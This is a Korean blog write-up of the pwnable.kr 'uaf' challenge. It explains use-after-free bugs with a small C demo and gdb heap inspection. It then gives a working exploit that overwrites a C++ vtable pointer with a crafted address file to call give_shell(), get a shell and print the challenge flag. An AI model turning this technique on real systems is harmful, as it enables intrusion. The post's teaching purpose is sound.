시작
안녕하세요!!! :D
uaf
를 이해했습니다!! 와!!!
바로 풀어볼까요?
root@goorm:/workspace/LCH_Server# ssh uaf@pwnable.kr -p2222
Write UP
코드를 보기 전에 uaf
가 무엇인지에 대해 알아봅시다!
uaf (Use After Free) : 동적할당 된 Heap 영역을 free 후 재사용 할 때 생기는 취약점
malloc
함수에는 캐싱 기능이 있습니다.
그 중 Deferred Coalescing
, 병합 지연 속성은 Heap
영역을 합치거나 쪼개는 시간을 절약하기 위해
free
된 heap
을 남겨두었다가 사용 요청이 오면 그대로 쓰게 해줍니다.
간단한 코드를 짜서 확인해보겠습니다.
root@goorm:/workspace/LCH_Server# cat uaf.c
#include <stdio.h>
#include <stdlib.h>
int main() {
int *num1;
int *num2;
num1 = malloc(20);
printf("Input Num1 : ");
scanf("%d", num1);
printf("Num1 is in %p\n", num1);
printf("Num1 is %d\n", *num1);
free(num1);
num2 = malloc(20);
printf("Input Num2 : ");
scanf("%d", num2);
printf("Num2 is in %p\n", num2);
printf("Num2 is %d\n", *num2);
printf("Num1 is exploit!! -> %d\n", *num1);
return 0;
}
저는 위와 같이 코드를 짰습니다.
num1
을 동적할당 후 scanf()
를 통해 입력받고 값 출력 후 free
했습니다.
마찬가지로 num2
를 동적할당 후 scanf()
를 통해 입력, 값 출력 후 free
했습니다.
그리고 이미 free
된 num1
을 불러와서 값을 출력하네요.
실행해볼까요?
root@goorm:/workspace/LCH_Server# ./uaf
Input Num1 : 1234
Num1 is in 0xb2c010
Num1 is 1234
Input Num2 : 5678
Num2 is in 0xb2c010
Num2 is 5678
Num1 is exploit!! -> 5678
num1
과 num2
가 똑같은 주소에 할당된 것이 보이네요!!
num1
을 불러왔지만 같은 공간에 할당된 num2
에 의해 값이 바뀌었습니다.
이것이 바로 uaf
취약점입니다.
할당 → 해제 → 할당 → free
된 객체 참조 순서로 이루어지죠.
문제로 돌아와보겠습니다!
uaf@ubuntu:~$ ls -l
total 24
-rw-r----- 1 root uaf_pwn 22 Sep 25 2015 flag
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25 2015 uaf
-rw-r--r-- 1 root root 1431 Sep 25 2015 uaf.cpp
C++
로 짜여진 코드인가 봅니다.
어떻게 생겨먹었는지 한 번 보죠.
uaf@ubuntu:~$ cat uaf.cpp
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
크게 Human
클래스와 이를 상속받는 Man
, Woman
클래스가 있네요.
main
함수에선 m
과 w
객체를 할당받고 switch
문을 통해 분기를 하고 있습니다.
보니깐 Human
클래스 안에 give_shell()
이란 부분이 있습니다.
어떻게 해서든 저 녀석을 끌어와야겠죠?
gdb
로 열어봅시다.
C++
특성 상 글자가 깨질 수 있는데, set print asm-demangle on
을 넣어주시면 안깨집니다!!
gdb-peda$ set print asm-demangle on
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000400ec4 <+0>: push rbp
0x0000000000400ec5 <+1>: mov rbp,rsp
0x0000000000400ec8 <+4>: push r12
0x0000000000400eca <+6>: push rbx
0x0000000000400ecb <+7>: sub rsp,0x50
0x0000000000400ecf <+11>: mov DWORD PTR [rbp-0x54],edi
0x0000000000400ed2 <+14>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000400ed6 <+18>: lea rax,[rbp-0x12]
0x0000000000400eda <+22>: mov rdi,rax
0x0000000000400edd <+25>: call 0x400d70 <std::allocator::allocator()@plt>
0x0000000000400ee2 <+30>: lea rdx,[rbp-0x12]
0x0000000000400ee6 <+34>: lea rax,[rbp-0x50]
0x0000000000400eea <+38>: mov esi,0x4014f0
0x0000000000400eef <+43>: mov rdi,rax
0x0000000000400ef2 <+46>: call 0x400d10 <std::basic_string<char, std::char_traits, std::allocator >::basic
_string(char const*, std::allocator const&)@plt>
0x0000000000400ef7 <+51>: lea r12,[rbp-0x50]
0x0000000000400efb <+55>: mov edi,0x18
0x0000000000400f00 <+60>: call 0x400d90
0x0000000000400f05 <+65>: mov rbx,rax
0x0000000000400f08 <+68>: mov edx,0x19
0x0000000000400f0d <+73>: mov rsi,r12
0x0000000000400f10 <+76>: mov rdi,rbx
0x0000000000400f13 <+79>: call 0x401264 <Man::Man(std::string, int)>
0x0000000000400f18 <+84>: mov QWORD PTR [rbp-0x38],rbx
0x0000000000400f1c <+88>: lea rax,[rbp-0x50]
0x0000000000400f20 <+92>: mov rdi,rax
0x0000000000400f23 <+95>: call 0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
0x0000000000400f28 <+100>: lea rax,[rbp-0x12]
0x0000000000400f2c <+104>: mov rdi,rax
0x0000000000400f2f <+107>: call 0x400d40 <std::allocator::~allocator()@plt>
0x0000000000400f34 <+112>: lea rax,[rbp-0x11]
0x0000000000400f38 <+116>: mov rdi,rax
0x0000000000400f3b <+119>: call 0x400d70 <std::allocator::allocator()@plt>
0x0000000000400f40 <+124>: lea rdx,[rbp-0x11]
0x0000000000400f44 <+128>: lea rax,[rbp-0x40]
0x0000000000400f48 <+132>: mov esi,0x4014f5
0x0000000000400f4d <+137>: mov rdi,rax
0x0000000000400f50 <+140>: call 0x400d10 <std::basic_string<char, std::char_traits, std::allocator >::basic
_string(char const*, std::allocator const&)@plt>
0x0000000000400f55 <+145>: lea r12,[rbp-0x40]
0x0000000000400f59 <+149>: mov edi,0x18
0x0000000000400f5e <+154>: call 0x400d90
0x0000000000400f63 <+159>: mov rbx,rax
0x0000000000400f66 <+162>: mov edx,0x15
0x0000000000400f6b <+167>: mov rsi,r12
0x0000000000400f6e <+170>: mov rdi,rbx
0x0000000000400f71 <+173>: call 0x401308 <Woman::Woman(std::string, int)>
0x0000000000400f76 <+178>: mov QWORD PTR [rbp-0x30],rbx
0x0000000000400f7a <+182>: lea rax,[rbp-0x40]
0x0000000000400f7e <+186>: mov rdi,rax
0x0000000000400f81 <+189>: call 0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
0x0000000000400f86 <+194>: lea rax,[rbp-0x11]
0x0000000000400f8a <+198>: mov rdi,rax
0x0000000000400f8d <+201>: call 0x400d40 <std::allocator::~allocator()@plt>
0x0000000000400f92 <+206>: mov esi,0x4014fa
0x0000000000400f97 <+211>: mov edi,0x602260
0x0000000000400f9c <+216>: call 0x400cf0 <std::basic_ostream<char, std::char_traits >& std::operator<< <std::char
_traits >(std::basic_ostream<char, std::char_traits >&, char const*)@plt>
0x0000000000400fa1 <+221>: lea rax,[rbp-0x18]
0x0000000000400fa5 <+225>: mov rsi,rax
0x0000000000400fa8 <+228>: mov edi,0x6020e0
0x0000000000400fad <+233>: call 0x400dd0 >(unsigned int&)@plt>
0x0000000000400fb2 <+238>: mov eax,DWORD PTR [rbp-0x18]
0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485>
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
0x0000000000400ffb <+311>: jmp 0x4010a9 <main+485>
0x0000000000401000 <+316>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401004 <+320>: add rax,0x8
0x0000000000401008 <+324>: mov rax,QWORD PTR [rax]
0x000000000040100b <+327>: mov rdi,rax
0x000000000040100e <+330>: call 0x400d20 <atoi@plt>
0x0000000000401013 <+335>: cdqe
0x0000000000401015 <+337>: mov QWORD PTR [rbp-0x28],rax
0x0000000000401019 <+341>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040101d <+345>: mov rdi,rax
0x0000000000401020 <+348>: call 0x400c70
0x0000000000401025 <+353>: mov QWORD PTR [rbp-0x20],rax
0x0000000000401029 <+357>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401029 <+357>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040102d <+361>: add rax,0x10
0x0000000000401031 <+365>: mov rax,QWORD PTR [rax]
0x0000000000401034 <+368>: mov esi,0x0
0x0000000000401039 <+373>: mov rdi,rax
0x000000000040103c <+376>: mov eax,0x0
0x0000000000401041 <+381>: call 0x400dc0 <open@plt>
0x0000000000401046 <+386>: mov rdx,QWORD PTR [rbp-0x28]
0x000000000040104a <+390>: mov rcx,QWORD PTR [rbp-0x20]
0x000000000040104e <+394>: mov rsi,rcx
0x0000000000401051 <+397>: mov edi,eax
0x0000000000401053 <+399>: call 0x400ca0 <read@plt>
0x0000000000401058 <+404>: mov esi,0x401513
0x000000000040105d <+409>: mov edi,0x602260
0x0000000000401062 <+414>: call 0x400cf0 <std::basic_ostream<char, std::char_traits >& std::operator<< <std::char
_traits >(std::basic_ostream<char, std::char_traits >&, char const*)@plt>
0x0000000000401067 <+419>: mov esi,0x400d60
0x000000000040106c <+424>: mov rdi,rax
0x000000000040106f <+427>: call 0x400d50 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
0x0000000000401074 <+432>: jmp 0x4010a9 <main+485>
0x0000000000401076 <+434>: mov rbx,QWORD PTR [rbp-0x38]
0x000000000040107a <+438>: test rbx,rbx
0x000000000040107d <+441>: je 0x40108f <main+459>
0x000000000040107f <+443>: mov rdi,rbx
0x0000000000401082 <+446>: call 0x40123a <Human::~Human()>
0x0000000000401087 <+451>: mov rdi,rbx
0x000000000040108a <+454>: call 0x400c80
0x000000000040108f <+459>: mov rbx,QWORD PTR [rbp-0x30]
0x0000000000401093 <+463>: test rbx,rbx
0x0000000000401096 <+466>: je 0x4010a8 <main+484>
0x0000000000401098 <+468>: mov rdi,rbx
0x000000000040109b <+471>: call 0x40123a <Human::~Human()>
0x00000000004010a0 <+476>: mov rdi,rbx
0x00000000004010a3 <+479>: call 0x400c80
0x00000000004010a8 <+484>: nop
0x00000000004010a9 <+485>: jmp 0x400f92 <main+206>
0x00000000004010ae <+490>: mov r12,rax
0x00000000004010b1 <+493>: mov rdi,rbx
0x00000000004010b4 <+496>: call 0x400c80
0x00000000004010b9 <+501>: mov rbx,r12
0x00000000004010bc <+504>: jmp 0x4010c1 <main+509>
0x00000000004010be <+506>: mov rbx,rax
0x00000000004010c1 <+509>: lea rax,[rbp-0x50]
0x00000000004010c5 <+513>: mov rdi,rax
0x00000000004010c8 <+516>: call 0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
0x00000000004010cd <+521>: jmp 0x4010d2 <main+526>
0x00000000004010cf <+523>: mov rbx,rax
0x00000000004010d2 <+526>: lea rax,[rbp-0x12]
0x00000000004010d6 <+530>: mov rdi,rax
0x00000000004010d9 <+533>: call 0x400d40 <std::allocator::~allocator()@plt>
0x00000000004010de <+538>: mov rax,rbx
0x00000000004010e1 <+541>: mov rdi,rax
0x00000000004010e4 <+544>: call 0x400da0 <_Unwind_Resume@plt>
0x00000000004010e9 <+549>: mov r12,rax
0x00000000004010ec <+552>: mov rdi,rbx
0x00000000004010ef <+555>: call 0x400c80
0x00000000004010f4 <+560>: mov rbx,r12
0x00000000004010f7 <+563>: jmp 0x4010fc <main+568>
0x00000000004010f9 <+565>: mov rbx,rax
0x00000000004010fc <+568>: lea rax,[rbp-0x40]
0x0000000000401100 <+572>: mov rdi,rax
0x0000000000401103 <+575>: call 0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
0x0000000000401108 <+580>: jmp 0x40110d <main+585>
0x000000000040110a <+582>: mov rbx,rax
0x000000000040110d <+585>: lea rax,[rbp-0x11]
0x0000000000401111 <+589>: mov rdi,rax
0x0000000000401114 <+592>: call 0x400d40 <std::allocator::~allocator()@plt>
0x0000000000401119 <+597>: mov rax,rbx
0x000000000040111c <+600>: mov rdi,rax
0x000000000040111f <+603>: call 0x400da0 <_Unwind_Resume@plt>
End of assembler dump.
워.. 엄청 기네요..
먼저 switch
문을 찾아봅시다.
0x0000000000400fb2 <+238>: mov eax,DWORD PTR [rbp-0x18]
0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485>
eax
가 1, 2, 3일 때 어디어디로 점프해라! 라는 내용이네요. 여기가 switch
입니다.
main+244
, main+249
, main+258
영역에서 각각의 분기문이 어디서 시작하는지도 보입니다.
break point
를 잡아주면 되겠죠?
3번은 알아서 잘 될테니 1번과 2번의 시작점에만 걸겠습니다.
ASLR
에 의해 프로그램을 돌릴 때마다 주소가 바뀝니다!! 흐름을 중점으로 보는게 이해가 편해요ㅠㅠ
gdb-peda$ b *main+316
Breakpoint 1 at 0x401000
gdb-peda$ b *main+265
Breakpoint 2 at 0x400fcd
달려보죠!
1을 입력해 1. use
로 들어가보겠습니다.
1번 옵션은 m
과 w
의 introduce()
를 호출하는 부분입니다.
이 객체들은 Human
에서 상속받은 것이기 때문에 give_shell()
과 introduce()
의 주소를 모두 가지고 있을 것입니다.
=> 0x400fcd <main+265>: mov rax,QWORD PTR [rbp-0x38]
0x400fd1 <main+269>: mov rax,QWORD PTR [rax]
0x400fd4 <main+272>: add rax,0x8
0x400fd8 <main+276>: mov rdx,QWORD PTR [rax]
0x400fdb <main+279>: mov rax,QWORD PTR [rbp-0x38]
흐름을 보면 rax
에 무언갈 계속 넣어주네요.
gdb-peda$ x/x $rbp-0x38
0x7fff1c1d9c78: 0x0000000001d5ac50
gdb-peda$ x/x 0x1d5ac50
0x1d5ac50: 0x0000000000401570
gdb-peda$ x/x 0x401570
0x401570 <_ZTV3Man+16>: 0x000000000040117a
gdb-peda$ x/10i 0x40117a
0x40117a <Human::give_shell()>: push rbp
0x40117b <Human::give_shell()+1>: mov rbp,rsp
0x40117e <Human::give_shell()+4>: sub rsp,0x10
0x401182 <Human::give_shell()+8>: mov QWORD PTR [rbp-0x8],rdi
0x401186 <Human::give_shell()+12>: mov edi,0x4014a8
0x40118b <Human::give_shell()+17>: call 0x400cc0 <system@plt>
0x401190 <Human::give_shell()+22>: leave
0x401191 <Human::give_shell()+23>: ret
0x401192 <Human::introduce()>: push rbp
0x401193 <Human::introduce()+1>: mov rbp,rsp
rbp-0x38
→ 0x1d5ac50
(이 부분은 실행 시마다 바뀝니다!) → 0x401570
→ 0x40117a (give_shell)
순서로 넘어갔습니다.
깔끔하게 give_shell()
을 부르면 좋겠지만, main+272
에서 add
를 통해 0x8
값을 더합니다.
rax+0x8
, 즉 0x401578
은 보나마나 introduce()
겠죠?
gdb-peda$ x/x $rax+0x8
0x401578 : 0x00000000004012d2
gdb-peda$ x/10i 0x4012d2
0x4012d2 <Man::introduce()>: push rbp
0x4012d3 <Man::introduce()+1>: mov rbp,rsp
0x4012d6 <Man::introduce()+4>: sub rsp,0x10
0x4012da <Man::introduce()+8>: mov QWORD PTR [rbp-0x8],rdi
0x4012de <Man::introduce()+12>: mov rax,QWORD PTR [rbp-0x8]
0x4012e2 <Man::introduce()+16>: mov rdi,rax
0x4012e5 <Man::introduce()+19>: call 0x401192 <Human::introduce()>
0x4012ea <Man::introduce()+24>: mov esi,0x4014cd
0x4012ef <Man::introduce()+29>: mov edi,0x602260
0x4012f4 <Man::introduce()+34>:
call 0x400cf0 <std::basic_ostream<char, std::char_traits >& std::operator<< <std::char_traits >(std::basic_o
stream<char, std::char_traits >&, char const*)@plt>
-
rbp-0x38
이 가지고 있는 값 :0x1d5ac50
-
0x1d5ac50
이 가지고 있는 값 :0x401570
-
0x401570
이 가지고 있는 값 :0x40117a
,give_shell()
의 주소 -
rax
에 실제로 들어가는 값 :0x401570
+0x8
=0x401578
-
0x401578
이 가지고 있는 값 :0x4012d2
,introduce()
의 주소
우리가 0x1d5ac50
에 접근하여 값을 덮어쓸 수 있다면 Exploit이 가능하겠네요.
덮어쓸 값은 0x401570
에서 0x8
을 뺀 0x401568
이 되겠습니다.
이제 이 영역에 어떻게 접근해야 할 지 알아보겠습니다!
프로그램을 다시 돌려보겠습니다.
위에서 사용했던 0x1d5ac50
주소는 바뀝니다!!
이번엔 uaf.cpp
코드에서 봤던 것처럼 argv[1], argv[2]
에 값을 줄건데요.
/tmp/lch/AAAA
라는 파일을 만들어 AAAA
를 넣어주었습니다.
./uaf 4 /tmp/lch/AAAA
로 시작해보죠!
uaf
취약점은 할당된 공간을 free
하는 것에서부터 시작하기 때문에 첫 번째로 3. free
를 선택했습니다.
그 후 2. after
를 선택해 AAAA
를 동적할당 시킵니다.
메모리에서 어떤 일이 일어나는지 알아볼까요?
gdb-peda$ find "Jack"
Searching for 'Jack' in: None ranges
Found 3 results, display max 3 items:
uaf : 0x4014f0 --> 0x6c694a006b63614a ('Jack')
uaf : 0x6014f0 --> 0x6c694a006b63614a ('Jack')
[heap] : 0x19b3c38 --> 0x6b63614a ('Jack')
gdb-peda$ x/100wx 0x19b3c38
0x19b3c38: 0x6b63614a 0x00000000 0x00000000 0x00000000
0x19b3c48: 0x00000021 0x00000000 0x00000000 0x00000000
0x19b3c58: 0x00000019 0x00000000 0x019b3c38 0x00000000
0x19b3c68: 0x00000031 0x00000000 0x019b3c10 0x00000000
0x19b3c78: 0x00000004 0x00000000 0xffffffff 0x00000000
0x19b3c88: 0x6c6c694a 0x00000000 0x00000000 0x00000000
0x19b3c98: 0x00000021 0x00000000 0x41414141 0x00000000
0x19b3ca8: 0x00000015 0x00000000 0x019b3c88 0x00000000
0x19b3cb8: 0x00000411 0x00000000 0x75202e31 0x320a6573
0x19b3cc8: 0x6661202e 0x0a726574 0x66202e33 0x0a656572
0x19b3cd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3ce8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3cf8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d08: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d18: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d28: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d38: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d48: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d58: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d68: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d78: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d88: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d98: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3da8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3db8: 0x00000000 0x00000000 0x00000000 0x00000000
Jack
문자열을 찾아봤더니 heap
영역의 0x19b3c38
위치에 있습니다.
이걸 기준으로 주변 레지스터를 확인해본 결과, 우리가 매개변수로 준 AAAA
값이
0x19b3ca0
주소에 들어가 있네요.
흠.. 더 올라가야 할텐데요..
0x19b3c50
주소에 덮어써야 하는데.. 할당을 한 번 더 해봐야 할 것 같습니다.
2. after
를 한 번 더 눌러줍시다.
gdb-peda$ x/100wx 0x19b3c38
0x19b3c38: 0x6b63614a 0x00000000 0x00000000 0x00000000
0x19b3c48: 0x00000021 0x00000000 0x41414141 0x00000000
0x19b3c58: 0x00000019 0x00000000 0x019b3c38 0x00000000
0x19b3c68: 0x00000031 0x00000000 0x019b3c10 0x00000000
0x19b3c78: 0x00000004 0x00000000 0xffffffff 0x00000000
0x19b3c88: 0x6c6c694a 0x00000000 0x00000000 0x00000000
0x19b3c98: 0x00000021 0x00000000 0x41414141 0x00000000
0x19b3ca8: 0x00000015 0x00000000 0x019b3c88 0x00000000
0x19b3cb8: 0x00000411 0x00000000 0x75202e31 0x320a6573
0x19b3cc8: 0x6661202e 0x0a726574 0x66202e33 0x0a656572
0x19b3cd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3ce8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3cf8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d08: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d18: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d28: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d38: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d48: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d58: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d68: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d78: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d88: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3d98: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3da8: 0x00000000 0x00000000 0x00000000 0x00000000
0x19b3db8: 0x00000000 0x00000000 0x00000000 0x00000000
..!!! 0x19b3c50
자리에 AAAA
가 들어갔습니다!!!
할당을 두 번 해주니깐 원하는 위치에 들어가는군요..
이제 우리는 저 주소에 위에서 찾았던 give_shell()
을 가리키는 주소를 넣어줄 것입니다ㅎ
그 후 1. use
로 들어가 free
된 객체의 오염된 introduce()
를 불러오면 Exploit 성공이겠네요.
정리해보겠습니다.
-
introduce()
를 불러내는 곳으로 들어가give_shell()
을 가리키는 주소를 찾았습니다.0x401570
-
rax + 0x8
에 의해 1의 주소에서 8이 더해집니다. -
1의 주소에서 8을 빼주면
rax + 0x8
연산 후에give_shell()
을 가리키겠죠?0x401568
-
free
후AAAA
라는 문자를 두 번 동적할당 했습니다. (한 번으로 안돼서 두 번 해본거죠!) -
그랬더니 원래
0x401570
이 있던 자리가AAAA
로 덮이는 것을 확인했습니다. -
AAAA
대신 3의 주소를 넣는다면.. Exploit!
uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/lch/answer
uaf@ubuntu:~$ ./uaf 4 /tmp/lch/answer
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls -l
total 24
-rw-r----- 1 root uaf_pwn 22 Sep 25 2015 flag
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25 2015 uaf
-rw-r--r-- 1 root root 1431 Sep 25 2015 uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning
마무리
워.. 길었습니다..
스택과 비교하면 힙은 참 신세계네요.
이거 때문에 힙이 이중 연결 리스트로 구성되어 있다는 것.. 처음 알았습니다.
pwnable.kr
문제는 참 많은 것을 알려주네요ㅠㅠ 배울 것이 참 많습니다ㅠ
고생하셨습니다!! 다음 포스팅에서 뵙겠습니다 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] fsb (0) | 2019.06.26 |
---|---|
[pwnable.kr] unexploitable (0) | 2019.06.20 |
pwnable.kr : lotto 풀이 (0) | 2019.04.17 |
pwnable.kr : shellshock 풀이 (0) | 2019.04.16 |
pwnable.kr : mistake 풀이 (0) | 2019.04.16 |